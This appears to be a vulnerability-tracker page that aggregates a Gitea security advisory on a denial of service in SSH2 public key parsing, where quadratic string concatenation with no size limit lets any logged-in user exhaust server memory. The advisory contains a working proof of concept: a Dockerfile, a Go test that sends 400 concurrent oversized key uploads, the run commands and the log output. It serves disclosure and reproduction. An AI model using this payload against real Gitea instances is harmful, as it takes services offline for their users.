Gitea SSH Key Parser Denial of Service
cve-program · CVE-2026-56657
PublishedGitea SSH Key Parser Denial of Service
Read the publisher's advisoryeuvd · EUVD-2026-58144
PublishedGitea SSH Key Parser Denial of Service
Read the publisher's advisorynvd · CVE-2026-56657
PublishedGitea SSH Key Parser Denial of Service
Read the publisher's advisoryosv · GHSA-4xjf-493q-98p3
PublishedGitea's SSH key ingestion endpoint accepts keys in RFC 4716 (SSH2) format and normalises them before storage. The normalisation function contains an O(N²) string concatenation loop with no input size limit, meaning a single malicious key submission can force the server to perform an amount of work that grows quadratically with the size of the input. Any authenticated user can exploit this to exhaust the server's CPU and memory, taking the instance offline. ### Root Cause An attacker sends a POST /api/v1/user/keys request with a Bearer token and a JSON body whose key field contains a malicious RFC 4716 (SSH2) public key. The key consists of a valid SSH2 header followed by a very large number of short content lines — for example, 400,000 lines of 100 characters each (~38 MB total). The request reaches `CreateUserPublicKey` with no prior size check: https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/key.go#L201-L212 This calls `CheckPublicKeyString` which immediately calls `parseKeyString`. Inside `parseKeyString`, the SSH2 branch splits the input on newlines and accumulates the key body one line at a time using `keyContent += line`: https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/models/asymkey/ssh_key_parse.go#L60-L79 Because Go strings are immutable, each `+=` at line 77 allocates a new backing array and copies the entire accumulated string into it. For N lines the total bytes copied is `N*(N+1)/2`, making the operation `O(N²)` in both time and allocations. The validity of the key is only checked after the loop completes, so the entire quadratic work is performed regardless of whether the input is a real SSH key. This is only possible because neither the web form field nor the API struct carries a size constraint: https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/forms/user_form.go#L308-L317 https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/structs/repo_key.go#L33-L49 ### PoC To reproduce, clone gitea and checkout commit `9155a81b9daf1d46b2380aa91271e623ac947c1e`. Then create the following files from the gitea root directory: `poc/Dockerfile` ```docker FROM golang:1.26-alpine AS builder RUN apk add --no-cache git build-base WORKDIR /gitea # Download deps in a separate layer so rebuilds are fast after source changes. COPY go.mod go.sum ./ RUN go mod download # Copy full source (needed for fixtures, config templates, and compilation). COPY . . # Compile the integration test binary. # modernc sqlite (pure Go, no CGO needed) is the default driver. RUN CGO_ENABLED=0 go test -c \ -o /integration.test \ gitea.dev/tests/integration # ── runtime image ──────────────────────────────────────────────────────────── FROM alpine:3.22 # git is required at runtime: the test framework initialises git repos. RUN apk add --no-cache git COPY --from=builder /integration.test /integration.test # Keep the full source at /gitea so runtime.Caller(0) path resolution works # and fixtures / config templates are accessible. COPY --from=builder /gitea /gitea RUN adduser -D -u 1000 poc && chown -R poc:poc /gitea WORKDIR /gitea USER poc ENTRYPOINT ["/integration.test", \ "-test.run", "TestDoSSSHKeyParserOOM", \ "-test.v", \ "-test.timeout", "600s"] ``` `tests/integration/poc_dos_test.go` ```go package integration import ( "fmt" "runtime" "runtime/debug" "strings" "sync" "sync/atomic" "testing" "time" auth_model "gitea.dev/models/auth" api "gitea.dev/modules/structs" "gitea.dev/tests" ) func TestDoSSSHKeyParserOOM(t *testing.T) { defer tests.PrepareTestEnv(t)() // Raise the GC trigger so intermediate strings accumulate faster, // matching realistic server behaviour under sustained allocation load. debug.SetGCPercent(400) // Log in as an ordinary user — no special privileges needed. session := loginUser(t, "user1") token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteUser) const ( numLines = 400_000 charsPerLine = 100 numWorkers = 400 ) var sb strings.Builder sb.WriteString("---- BEGIN SSH2 PUBLIC KEY ----\n") sb.WriteString("Comment: dos\n") line := strings.Repeat("a", charsPerLine) + "\n" for i := 0; i < numLines; i++ { sb.WriteString(line) } sb.WriteString("---- END SSH2 PUBLIC KEY ----\n") payload := sb.String() peakGB := float64(numWorkers) * 2 * float64(numLines) * float64(charsPerLine) / (1 << 30) t.Logf("payload=%.1f MB workers=%d peak_theory=%.1f GB", float64(len(payload))/(1<<20), numWorkers, peakGB) // Each goroutine marshals its own JSON body. The bytes live in req.Body // for the entire duration of MakeRequest, so numWorkers concurrent // goroutines hold numWorkers × payload_size bytes simultaneously. // With numWorkers=400 and payload=38.5 MB: 400 × 38.5 MB = 15.4 GB → OOM. var ( wg sync.WaitGroup done atomic.Int64 ready = make(chan struct{}) start = time.Now() ) for i := 0; i < numWorkers; i++ { wg.Add(1) go func(id int) { defer func() { done.Add(1); wg.Done() }() <-ready req := NewRequestWithJSON(t, "POST", "/api/v1/user/keys", api.CreateKeyOption{ Title: fmt.Sprintf("dos-%d", id), Key: payload, }).AddTokenAuth(token) MakeRequest(t, req, NoExpectedStatus) }(i) } go func() { var ms runtime.MemStats ticker := time.NewTicker(5 * time.Second) defer ticker.Stop() for range ticker.C { runtime.ReadMemStats(&ms) t.Logf("[%4.0fs] done=%d/%d HeapSys=%.1f GB HeapAlloc=%.1f GB", time.Since(start).Seconds(), done.Load(), numWorkers, float64(ms.HeapSys)/(1<<30), float64(ms.HeapAlloc)/(1<<30)) } }() close(ready) wg.Wait() t.Logf("all done in %.1fs — container survived, increase numWorkers or numLines", time.Since(start).Seconds()) } ``` When you run the Dockerfile, it should OOM, however this is highly dependent on the host machine. On my end, I do the following: ```sh docker build -t gitea-dos-poc -f poc/Dockerfile . docker run --rm --memory=12g --memory-swap=12g gitea-dos-poc ``` Which prints out: ``` === TestDoSSSHKeyParserOOM (tests/integration/poc_dos_test.go:35) testlogger.go:62: 2026/06/02 14:37:40 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /gitea/tests/gitea-lfs-meta testlogger.go:62: 2026/06/02 14:37:40 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 29.9ms @ auth/auth.go:284(auth.SignInPost) testlogger.go:62: 2026/06/02 14:37:41 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 17.8ms @ setting/applications.go:36(setting.ApplicationsPost) poc_dos_test.go:62: payload=38.5 MB workers=400 peak_theory=29.8 GB ``` ... demonstrating high memory consumption. On my end, memory is consumed within 1 second.
Read the publisher's advisoryosv · GO-2026-6042
PublishedGitea SSH Key Parser Denial of Service in gitea.dev
Read the publisher's advisoryAffected versions, risk and source history
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
Risk history
Compare earlier KEV listings and daily EPSS scores. Advisory wording and affected versions have a separate history.
When does an EPSS score appear as a change?
A prediction change is reported when EPSS rises from below 10% to 10% or higher. Other daily score changes remain in this history.
Advisory history
12 saved versionsSee how the publisher's advisory changed over time. Each link opens the version saved at that time. The publisher's update date can differ from the date shown here.
How advisory history works
Each link identifies one complete publisher record. History can include advisories that previously shared an identifier; an identifier removed by a publisher no longer establishes a current relationship. A historical link shows only that record and earlier saved versions. Failed checks and unchanged reads do not create new versions.
Gitea SSH Key Parser Denial of Service in gitea.dev
osv · GO-2026-6042 · Published
Gitea SSH Key Parser Denial of Service
cve-program · CVE-2026-56657 · Published